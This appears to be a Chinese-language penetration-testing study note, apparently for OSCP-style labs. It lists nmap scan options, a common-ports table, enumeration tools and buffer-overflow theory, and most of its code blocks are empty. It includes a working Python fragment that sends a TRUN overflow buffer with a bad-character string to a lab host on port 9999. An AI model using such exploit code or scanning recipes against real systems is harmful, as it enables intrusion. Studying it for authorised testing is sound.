流程
- netdiscover nikto nmap service reverse shell
- 提权
- bash_history passwd netstat
flag
- samba(smb)
- ftp
- snmp
- smtp
scan
nmap
端口扫描
基础
nmap -p 端口 IP(域名)
1 |
|
常用
nmap -sT -Pn -v --open 192.168.0.0/24 -p
21,22,23,25,53,67,68,69,80,109,110,137,139,143,161,389,443,445,465,489,512,513,514,873,993,995,1080,1090,1098,1099,1158,1352,1433,1434,1521,1723,1873,2082,2083,2100,2181,2222,2375,2601,2604,3000,3128,3306,3311,3312,3389,3690,4440,4848,5000,5432,5632,5800,5900,5938,5984,6082,6379,6380,6800,7001,7002,7778,8069,8161,8291,8080,9001,9043,9060,9080,9090,9200,9300,1000,10050,10051,10990,11211,14147,27017,27018,50000,50030,50070,61616,62078
1 |
|
步骤
-
快速扫端口找open port(-sS -Pn –max-retries 1 –max-scan-delay 20 –defeat-rst-ratelimit -T 4)
-
UDP不能漏(-Pn -sU –top-ports 1000 -T 4 –max-retries 1 )
-
终端开放端口做重点扫描识别背后的服务(-Pn -nvv -A –version-intensit 9 -sV) 针对服务版本搜索漏洞(关键字exploit CVE(web) searchsploit(tool))
TCP/UDP
1 |
|
端口
常用端口
端口 | 服务 |
---|---|
21 | FTP |
22 | SSH |
23 | Telnet |
25 | SMTP |
53 | DNS |
67 | DHCP |
68 | DHCP |
69 | TFTP |
80 | Web |
109 | POP3 |
110 | POP3 |
137 | NetBIOS |
139 | NetBIOS |
143 | IMAP |
161 | SNMP |
389 | LDAP |
443 | Web |
445 | SMB |
465 | SMTPS |
489 | LDAP |
512 | Linux R RPE |
513 | Linux R RLT |
514 | Linux R cmd |
873 | Rsync |
993 | IMAPS |
995 | POP3 |
1080 | Proxy |
1090 | JavaRMI |
1098 | JavaRMI |
1099 | JavaRMI |
1158 | Oracle EMCTL |
1352 | Lotus |
1433 | MSSQL |
1434 | MSSQL Monitor |
1521 | Oracle |
1723 | PPTP |
1873 | Rsync |
2082 | cPanel admin panel/CentOS web panel |
2083 | CPanel admin panel/CentOS web panel |
2100 | Oracle XDB FTP |
2181 | Zookeeper |
2222 | DA admin panel |
2375 | Docker |
2601 | Zebra |
2604 | Zebra |
3000 | Gitea Web |
3128 | Squid Proxy |
3306 | MySQL/MariaDB |
3311 | Kangle admin panel |
3312 | Kangle admin panel |
3389 | RDP |
3690 | SVN |
4440 | Rundeck |
4848 | GlassFish |
5000 | SysBase/DB2 |
5432 | PostgreSql |
5632 | PcAnywhere |
5800 | VNC |
5900 | VNC |
5938 | TeamViewer |
5984 | CouchDB |
6082 | varnish |
6379 | Redis |
6380 | Redis |
6800 | Aria2 |
7001 | Weblogic |
7002 | Weblogic |
7778 | Kloxo admin panel |
8069 | Zabbix |
8161 | ActiveMQ |
8291 | RouterOS/Winbox |
8080 | Web |
9001 | Weblogic |
9043 | WebSphere |
9060 | WebSphere |
9080 | WebSphere |
9090 | WebSphere |
9200 | Elasticsearch |
9300 | Elasticsearch |
10000 | Virtualmin/Webmin |
10050 | Zabbix agent |
10051 | Zabbix server |
10990 | JavaRMI |
11211 | Memcached |
14147 | FileZilla Manager |
27017 | MongoDB |
27018 | MongoDB |
50000 | SAP NetWeaver |
50030 | Hadoop |
50070 | Hadoop |
61616 | ActiveMQ |
62078 | iPhone-sync |
1 |
|
状态
1 |
|
输出
1 |
|
时间
- T
0~5 数字越大扫描速度越快
1 |
|
改进
1 |
|
web
- http https 源代码
dirbuster
gui 暴力破解Web 应用服务器上的目录名和文件名的工具 通过worklist
locate wordlist |grep dirbuster
也可以使用自定义
nikto
nikto -h ip [-p port80 ]
服务器版本信息 漏洞
enum4linux
enum4linux ip
漏洞利用信息
msfconsole
开源安全漏洞检测工具
module
1 |
|
修改shellcode
1 |
|
searchsploit
searchsploit kw
google hack
当然可以用google的高级搜索
common
1 |
|
example
1 |
|
connect & listen
netcat
透过使用TCP或UDP协议的网络连接去读写数据
使用whoami验证
- Linux /bin/bash
- Windows cmd.exe
reverse shell
1 |
|
bind shell
1 |
|
Buffer overflows
基本概念
stack
内存中的一个特殊区域,用于存储由每个函数(包括main()函数)参数传递的本地数据,返回地址。
堆栈是一个 LIFO(后进先出)数据结构,该结构由CPU非常紧密地管理和优化。每当函数声明一个新变量时,它都会push到堆栈中。 然后,当一个函数退出时,它的所有变量都会从堆栈中弹出(也就是说,它们将被删除)。释放堆栈变量后,该内存区域可用于其他堆栈变量。
无需亲自管理内存,变量会自动分配和释放,堆栈有大小限制(os分配),堆栈变量仅在创建它们的函数运行时存在, 快速访问(堆栈速度更快,因为所有可用内存始终是连续的。不需要维护所有可用内存段的列表,只需一个指向堆栈当前顶部的指针即可。)
CPU有效管理空间,内存不会碎片化,堆栈指针指向堆栈的顶部(堆栈中的最高地址)由高到低地址,堆栈增长到底部
由于堆栈是有限的内存块,调用过多的嵌套函数、无限递归或为局部变量分配过多的空间而导致堆栈溢出
heap
要主动分配和释放变量,有很多分配和释放时,可能会产生碎片。变量可以全局访问,内存大小无限制(物理限制)。堆内存的读取和写入速度稍慢,因为必须使用指针来访问堆上的内存
随着堆的增长,通常将新块从低地址分配到高地址。随着分配的内存,存储块的大小会增加。
分配大块的请求可能会失败,因为即使空闲块的组合大小可能足够大,也没有一个空闲块足以满足分配请求。这称为堆碎片。 当与空闲块相邻的已用块被释放时,新的空闲块可以与相邻的空闲块合并以创建更大的空闲块,从而有效地减少了堆的碎片。
多线程
在多线程应用程序中,每个线程将具有自己的堆栈。但是,所有不同的线程将共享堆。
原理
栈中保存了函数调用时的返回地址 (控制EIP)
将栈中保存的返回地址篡改成成溢出的数据,这样就间接修改了函数的返回地址,当函数返回时,就能跳转到预设的地址中,执行植入的代码
gen shellcode
check bad characters
1 |
|
bad characters
检查漏洞代码中可以使用哪些字符的一种简单的方法(如果有点乏味)是将整个字符串添加到已保存的返回指针之后的漏洞利用程序中,并在内存中比较结果。我们要在保存的返回指针覆盖之后放置坏字符,以确保由于坏字符引起的任何损坏都不会阻止保存的返回指针被覆盖。这篇文章中的示例保存了返回指针覆盖,但是使用SEH覆盖时放置也可能是一个因素。 您无需在SEH覆盖后放置坏字符,但需要注意引起异常的原因,并确保您的坏字符不会阻止它的发生。例如,如果您发送一长串A时易受攻击的软件在读取41414141时抛出异常,
find ret address
1 |
|
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
shellcode = 'A' * 2003 + 'B' * 4 + badchars
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
print(f"fuzzing {len(shellcode)}")
connect = s.connect(('10.211.55.19', 9999))
s.send(bytes('TRUN /.:/' + shellcode, encoding='utf8'))
except Exception:
print('check debug')
finally:
s.close()
shellcode
1 |
|
免杀
sql
提权
- Windows
- linux
- linux 提权检查 关注Kernel、installed tools、cron
/var/www/html
apache service wget
post exploitation
- linux
- hash killer for windows NTLM bypass
- reverse shell cheat sheet
1 |
|
trick
1 |
|
1 |
|